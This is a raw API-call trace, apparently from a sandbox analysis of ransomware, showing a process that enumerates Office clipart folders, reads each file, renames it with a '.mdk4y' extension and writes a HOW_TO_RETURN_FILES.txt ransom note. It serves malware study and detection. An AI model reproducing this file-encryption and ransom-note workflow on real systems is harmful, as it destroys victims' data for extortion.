ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x446, lpOverlapped=0x0) returned 1 [0175.583] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif.mdk4y")) returned 1 [0175.584] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.584] AreFileApisANSI () returned 1 [0175.584] GetACP () returned 0x4e4 [0175.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01840_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01840_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.584] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.584] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5fe, lpOverlapped=0x0) returned 1 [0175.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01840_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01840_.gif.mdk4y")) returned 1 [0175.586] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.586] AreFileApisANSI () returned 1 [0175.586] GetACP () returned 0x4e4 [0175.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01842_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01842_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.587] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.587] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x76c, lpOverlapped=0x0) returned 1 [0175.588] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.mdk4y")) returned 1 [0175.589] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.589] AreFileApisANSI () returned 1 [0175.589] GetACP () returned 0x4e4 [0175.589] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01843_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB01843_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.589] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.590] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12d1, lpOverlapped=0x0) returned 1 [0175.603] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.mdk4y")) returned 1 [0175.604] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.604] AreFileApisANSI () returned 1 [0175.604] GetACP () returned 0x4e4 [0175.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB02229_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WB02229_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0175.604] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.606] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x102b, lpOverlapped=0x0) returned 1 [0175.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.mdk4y")) returned 1 [0175.625] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.625] AreFileApisANSI () returned 1 [0175.625] GetACP () returned 0x4e4 [0175.625] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WHIRL1.WMF", cchWideChar=10, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WHIRL1.WMFIF", lpUsedDefaultChar=0x37df4c) returned 10 [0175.625] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.627] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa16, lpOverlapped=0x0) returned 1 [0175.651] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.mdk4y")) returned 1 [0175.652] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.652] AreFileApisANSI () returned 1 [0175.652] GetACP () returned 0x4e4 [0175.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WHIRL2.WMF", cchWideChar=10, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WHIRL2.WMF", lpUsedDefaultChar=0x37df4c) returned 10 [0175.652] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.653] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb96, lpOverlapped=0x0) returned 1 [0175.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.mdk4y")) returned 1 [0175.668] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.668] AreFileApisANSI () returned 1 [0175.669] GetACP () returned 0x4e4 [0175.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WING1.WMF", cchWideChar=9, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WING1.WMFF", lpUsedDefaultChar=0x37df4c) returned 9 [0175.669] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.669] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa16, lpOverlapped=0x0) returned 1 [0175.689] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.mdk4y")) returned 1 [0175.691] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.691] AreFileApisANSI () returned 1 [0175.691] GetACP () returned 0x4e4 [0175.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WING2.WMF", cchWideChar=9, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WING2.WMF", lpUsedDefaultChar=0x37df4c) returned 9 [0175.691] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.691] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x976, lpOverlapped=0x0) returned 1 [0175.693] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.mdk4y")) returned 1 [0175.695] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.695] AreFileApisANSI () returned 1 [0175.695] GetACP () returned 0x4e4 [0175.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WNTER_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WNTER_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0175.695] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0175.696] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b03, lpOverlapped=0x0) returned 1 [0175.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.mdk4y")) returned 1 [0175.704] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0175.704] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0175.705] AreFileApisANSI () returned 1 [0175.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad710, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0175.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.705] GetFileType (hFile=0x12c) returned 0x1 [0175.706] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0175.706] AreFileApisANSI () returned 1 [0175.706] GetACP () returned 0x4e4 [0175.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="PublisherotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dfd8) returned 9 [0175.707] AreFileApisANSI () returned 1 [0175.707] GetACP () returned 0x4e4 [0175.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=52, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\") returned 52 [0175.707] AreFileApisANSI () returned 1 [0175.707] GetACP () returned 0x4e4 [0175.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".osoft Office\\CLIPART\\PUB60COR\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0175.707] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.707] AreFileApisANSI () returned 1 [0175.707] GetACP () returned 0x4e4 [0175.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..soft Office\\CLIPART\\PUB60COR\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0175.708] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0175.708] AreFileApisANSI () returned 1 [0175.708] GetACP () returned 0x4e4 [0175.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Backgrounds", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Backgroundsce\\CLIPART\\PUB60COR\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 11 [0175.708] AreFileApisANSI () returned 1 [0175.708] GetACP () returned 0x4e4 [0175.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\?") returned 64 [0175.720] AreFileApisANSI () returned 1 [0175.720] GetACP () returned 0x4e4 [0175.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37dec0) returned 1 [0175.720] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.720] AreFileApisANSI () returned 1 [0175.720] GetACP () returned 0x4e4 [0175.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37dec0) returned 2 [0175.720] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.720] AreFileApisANSI () returned 1 [0175.720] GetACP () returned 0x4e4 [0175.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143743.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143743.GIFfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x90$j", lpUsedDefaultChar=0x37dec0) returned 12 [0175.720] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825095100000) returned 1 [0175.721] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf77, lpOverlapped=0x0) returned 1 [0175.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825095300000) returned 1 [0175.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825095300000) returned 1 [0175.723] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif.mdk4y")) returned 1 [0175.724] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.724] AreFileApisANSI () returned 1 [0175.724] GetACP () returned 0x4e4 [0175.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143744.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143744.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.725] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825095500000) returned 1 [0175.725] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2f, lpOverlapped=0x0) returned 1 [0175.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825095600000) returned 1 [0175.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825095600000) returned 1 [0175.726] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif.mdk4y")) returned 1 [0175.728] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.728] AreFileApisANSI () returned 1 [0175.728] GetACP () returned 0x4e4 [0175.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143745.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143745.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.728] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825096100000) returned 1 [0175.732] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2dd, lpOverlapped=0x0) returned 1 [0175.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825096300000) returned 1 [0175.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825096300000) returned 1 [0175.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif.mdk4y")) returned 1 [0175.734] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.734] AreFileApisANSI () returned 1 [0175.734] GetACP () returned 0x4e4 [0175.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143746.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143746.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.735] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft 